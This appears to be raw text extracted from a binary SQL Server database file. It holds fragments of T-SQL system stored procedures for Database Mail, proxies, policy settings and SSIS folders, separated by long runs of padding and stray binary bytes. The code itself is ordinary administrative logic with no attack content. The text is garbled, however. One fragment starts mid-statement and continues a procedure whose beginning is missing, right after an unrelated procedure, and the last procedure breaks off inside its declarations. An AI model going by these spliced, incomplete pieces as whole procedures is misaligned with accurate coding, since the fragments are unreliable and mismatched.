!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`$<pJ%
00b{ 8-- Processes responses from dbmail 
--
CREATE PROCEDURE [dbo].[sp_ProcessResponse]
    @conv_handle        uniqueidentifier,
    @message_type_name  NVARCHAR(256),
    @xml_message_body   NVARCHAR(max)
AS
BEGIN
    DECLARE 
        @mailitem_id        INT,
        @sent_status        INT,
        @rc                 INT,
        @index              INT,
        @processId          INT,
        @sent_date          DATETIME,
        @localmessage       NVARCHAR(max),
        @LogMessage         NVARCHAR(max),
        @retry_hconv        uniqueidentifier,
        @paramStr           NVARCHAR(256),
        @accRetryDelay      INT

    --------------------------
    --Always send the response 
    ;SEND ON CONVERSATION @conv_handle MESSAGE TYPE @message_type_name (@xml_message_body)
    --
    -- Need to handle the case where a sent retry is requested. 
    -- This is done by setting a conversation timer, The timer with go off in the external queue

    --  $ISSUE: 325439 - DBMail: Use XML type  for all xml document handling in DBMail stored procs
    DECLARE @xmlblob xml
    SET  @xmlblob = CONVERT(xml, @xml_message_body)

    SELECT  @mailitem_id = MailResponses.Properties.value('(MailItemId/@Id)[1]', 'int'),
          @sent_status = MailResponses.Properties.value('(SentStatus/@Status)[1]', 'int')
    FROM @xmlblob.nodes('
    declare namespace responses="http://schemas.microsoft.com/databasemail/responses";
    /responses:SendMail') 
    AS MailResponses(Properties) 

    IF(@mailitem_id IS NULL OR @sent_status IS NULL)
    BEGIN  
        --Log error and continue.
        SET @localmessage = FORMATMESSAGE(14652, CONVERT(NVARCHAR(50), @conv_handle), @message_type_name, @xml_message_body)
        exec msdb.dbo.sysmail_logmailevent_sp @event_type=3, @description=@localmessage

        GOTO ErrorHandler;
    END      

    -- Update the status of the email item
    UPDATE msdb.dbo.sysmail_mailitems
    SET sent_status = @sent_status
    WHERE mailitem_id = @mailitem_id

    --
    -- A send retry has been requested. Set a conversation timer
    IF(@sent_status = 3)
    BEGIN
        -- Get the associated mail item data for the given @conversation_handle (if it exists)
       SELECT @retry_hconv = conversation_handle
       FROM sysmail_send_retries as sr
            RIGHT JOIN sysmail_mailitems as mi
            ON sr.mailitem_id = mi.mailitem_id
       WHERE mi.mailitem_id = @mailitem_id

        --Must be the first retry attempt. Create a sysmail_send_retries record to track retries
        IF(@retry_hconv IS NULL)
        BEGIN
            INSERT sysmail_send_retries(conversation_handle, mailitem_id) --last_send_attempt_date
            VALUES(@conv_handle, @mailitem_id)
        END
        ELSE
        BEGIN
            --Update existing retry record
            UPDATE sysmail_send_retries
            SET last_send_attempt_date = GETDATE(),
                send_attempts = send_attempts + 1
            WHERE mailitem_id = @mailitem_id

        END

        --Get the global retry delay time
        EXEC msdb.dbo.sysmail_help_configure_value_sp @parameter_name = N'AccountRetryDelay', 
                                                    @parameter_value = @paramStr OUTPUT
        --ConvertToInt will return the default if @paramStr is null
        SET @accRetryDelay = dbo.ConvertToInt(@paramStr, 0x7fffffff, 300) -- 5 min default


        --Now set the dialog timer. This triggers the send retry
        ;BEGIN CONVERSATION TIMER (@conv_handle) TIMEOUT = @accRetryDelay 

    END
    ELSE
    BEGIN
        --Only end theconversation if a retry isn't being attempted
        END CONVERSATION @conv_handle
    END


    -- All done OK
    goto ExitProc;

    -----------------
    -- Error Handler
    -----------------
ErrorHandler:

    ------------------
    -- Exit Procedure
    ------------------
ExitProc:
    RETURN (@rc);

END
0]| h8<>Gh4>58^6}7`!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!$`<yEo!0} 8CREATE PROCEDURE sp_sem_drop_message
  @msgnum int     = NULL,
  @lang   sysname = NULL -- Message language name
AS
BEGIN
  DECLARE @retval        INT
  DECLARE @language_name sysname

  SET NOCOUNT ON

  SET ROWCOUNT 1
  SELECT @language_name = name
  FROM sys.syslanguages
  WHERE msglangid = (SELECT number
                     FROM master.dbo.spt_values
                     WHERE (type = 'LNG')
                       AND (name = @lang))
  SET ROWCOUNT 0

  SELECT @language_name = ISNULL(@language_name, 'us_english')
  EXECUTE @retval = master.dbo.sp_dropmessage @msgnum, @language_name
  RETURN(@retval)
END
0C} 8CREATE PROCEDURE sp_get_proxy_properties
	@proxy_id [int] = NULL,  -- specify either @current_proxy_id or @current_proxy_name ; if both are specified as null, propery for all proxies are returned back
	@proxy_name [sysname] = NULL  
AS
BEGIN
    DECLARE @retval   INT
    SET NOCOUNT ON
    
	-- Validate only if either proxy name or proxy id was specified
    IF NOT (@proxy_id IS NULL ) AND (@proxy_name IS NULL)
	BEGIN
		EXECUTE @retval = sp_verify_proxy_identifiers '@proxy_name',
                                                 '@proxy_id',
                                                 @proxy_name OUTPUT,
                                                 @proxy_id   OUTPUT

		IF (@retval <> 0)
		BEGIN
			-- exception message was raised inside sp_verify_proxy_identifiers; we dont need to RAISERROR again here
			RETURN(1) -- Failure
		END
	END

    -- return domain name, user name, credential id; used by SQL agent to query for proxy 
	SELECT CASE CHARINDEX(N'\', c.credential_identity)
		WHEN 0 THEN  NULL
		ELSE LEFT(c.credential_identity, CHARINDEX(N'\', c.credential_identity)-1)
		END
		AS user_domain,
	RIGHT(c.credential_identity, LEN(c.credential_identity)- CHARINDEX(N'\', c.credential_identity)) AS user_name,    
	c.credential_id                                                 
	FROM msdb.dbo.sysproxies p JOIN 
	sys.credentials c 
	ON p.credential_id = c.credential_id
	WHERE (p.proxy_id = @proxy_id OR @proxy_id IS NULL)

END
0$.} 8CREATE PROCEDURE [dbo].[sp_syspolicy_set_config_enabled] 
	@value sql_variant
AS
BEGIN
	DECLARE @retval_check int;
	
	SET NOCOUNT ON
	
	EXECUTE @retval_check = [dbo].[sp_syspolicy_check_membership] 'PolicyAdministratorRole'
	IF ( 0!= @retval_check)
	BEGIN
		RETURN @retval_check
	END
    
    DECLARE @val bit;
    SET @val = CONVERT(bit, @value);
    IF (@val = 1)
    BEGIN
	    DECLARE @engine_edition INT
		SELECT @engine_edition = CAST(SERVERPROPERTY('EngineEdition') AS INT)
		IF @engine_edition = 4 -- All SQL Express types + embedded
		BEGIN
			RAISERROR (34054, 16, 1)			
            RETURN 34054
		END
		
	    UPDATE [msdb].[dbo].[syspolicy_configuration_internal]
	    SET current_value = @value
	    WHERE name = N'Enabled';
    
        -- enable policy automation
        ALTER QUEUE [syspolicy_event_queue] WITH ACTIVATION (STATUS = ON)

        EXEC sys.sp_syspolicy_update_ddl_trigger;
        EXEC sys.sp_syspolicy_update_event_notification;
    END
    ELSE
    BEGIN
	    UPDATE [msdb].[dbo].[syspolicy_configuration_internal]
	    SET current_value = @value
	    WHERE name = N'Enabled';

        -- disable policy automation
        ALTER QUEUE [syspolicy_event_queue] WITH ACTIVATION (STATUS = OFF)

        IF EXISTS (SELECT * FROM sys.server_event_notifications WHERE name = N'syspolicy_event_notification')
	        DROP EVENT NOTIFICATION [syspolicy_event_notification] ON SERVER 

        IF EXISTS (SELECT * FROM sys.server_triggers WHERE name = N'syspolicy_server_trigger')
            DISABLE TRIGGER [syspolicy_server_trigger] ON ALL SERVER 
    END

END
.conversation_handle = @conversation_handle

   -- If not able to find a mailitem_id return and move to the next message.
    -- This could happen if the mail items table was cleared before the retry was fired
   IF(@mailitem_id IS NULL)
   BEGIN
        --Log warning and continue
        -- "mailitem_id on conversation %s was not found in the sysmail_send_retries table. This mail item will not be sent."
        SET @localmessage = FORMATMESSAGE(14662, convert(NVARCHAR(50), @conversation_handle))
        exec msdb.dbo.sysmail_logmailevent_sp @event_type=2, @description=@localmessage

        -- Resource clean-up
        IF(@conversation_handle IS NOT NULL)
        BEGIN
           END CONVERSATION @conversation_handle;
        END

        -- return code has special meaning and will be propagated to the calling process
        RETURN 2;
    END


    --Get the retry attempt count from sysmailconfig.
    EXEC msdb.dbo.sysmail_help_configure_value_sp @parameter_name = N'AccountRetryAttempts', 
                                                 @parameter_value = @paramStr OUTPUT
    --ConvertToInt will return the default if @paramStr is null
    SET @accRetryAttempts = dbo.ConvertToInt(@paramStr, 0x7fffffff, 1)


   --Check the send attempts and log and error if send_attempts >= retry count.
    --This shouldn't happen unless the retry configuration was changed
   IF(@send_attempts > @accRetryAttempts)
   BEGIN
        --Log warning and continue
        -- "Mail Id %d has exceeded the retry count. This mail item will not be sent."
        SET @localmessage = FORMATMESSAGE(14663, @mailitem_id)
        exec msdb.dbo.sysmail_logmailevent_sp @event_type=2, @description=@localmessage, @mailitem_id=@mailitem_id

        -- Resource clean-up
        IF(@conversation_handle IS NOT NULL)
        BEGIN
           END CONVERSATION @conversation_handle;
        END

        -- return code has special meaning and will be propagated to the calling process
        RETURN 3;
    END

    -- This returns the mail item to the client as multiple result sets
    EXEC sp_MailItemResultSets
            @mailitem_id            = @mailitem_id,
            @profile_id             = @profile_id,
            @conversation_handle    = @conversation_handle,
           @service_contract_name  = @service_contract_name,
           @message_type_name      = @message_type_name

   
   RETURN 0

END
0x} D8CREATE PROCEDURE [dbo].[sp_ssis_addfolder]
  @parentfolderid uniqueidentifier,
  @name sysname,
  @folderid uniqueidentifier = NULL
AS
   --Check security
   IF (IS_MEMBER('db_ssisltduser')<>1) AND (IS_MEMBER('db_ssisadmin')<>1) AND (IS_SRVROLEMEMBER('sysadmin')<>1)
   BEGIN
       RAISERROR (14591, -1, -1, @name)
       RETURN 1  -- Failure
   END

   --// Security check passed, INSERT now
   INSERT INTO sysssispackagefolders (folderid, parentfolderid, foldername)
   VALUES (ISNULL(@folderid, NEWID()), @parentfolderid, @name)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<\J)0~ 8
-- sp_readrequest : Reads a request from the the queue and returns its
--                  contents.
CREATE PROCEDURE sp_readrequest
    @receive_timeout    INT     -- the max time this read will wait for new message
AS
BEGIN
    SET NOCOUNT ON

    -- Table to store message information.
    DECLARE @msgs TABLE
    (
       [conversation_handle] uniqueidentifier,
       [service_contract_name] nvarchar(256),
       [message_type_name] nvarchar(256),
       [message_body] varbinary(max)
    )

    -- Declare variables to store row values fetched from the cursor
    DECLARE 
        @exit                   INT,
        @mailitem_id            INT,
        @profile_id             INT,
        @conversation_handle    uniqueidentifier,
        @service_contract_name  NVARCHAR(256),
        @message_type_name      NVARCHAR(256),
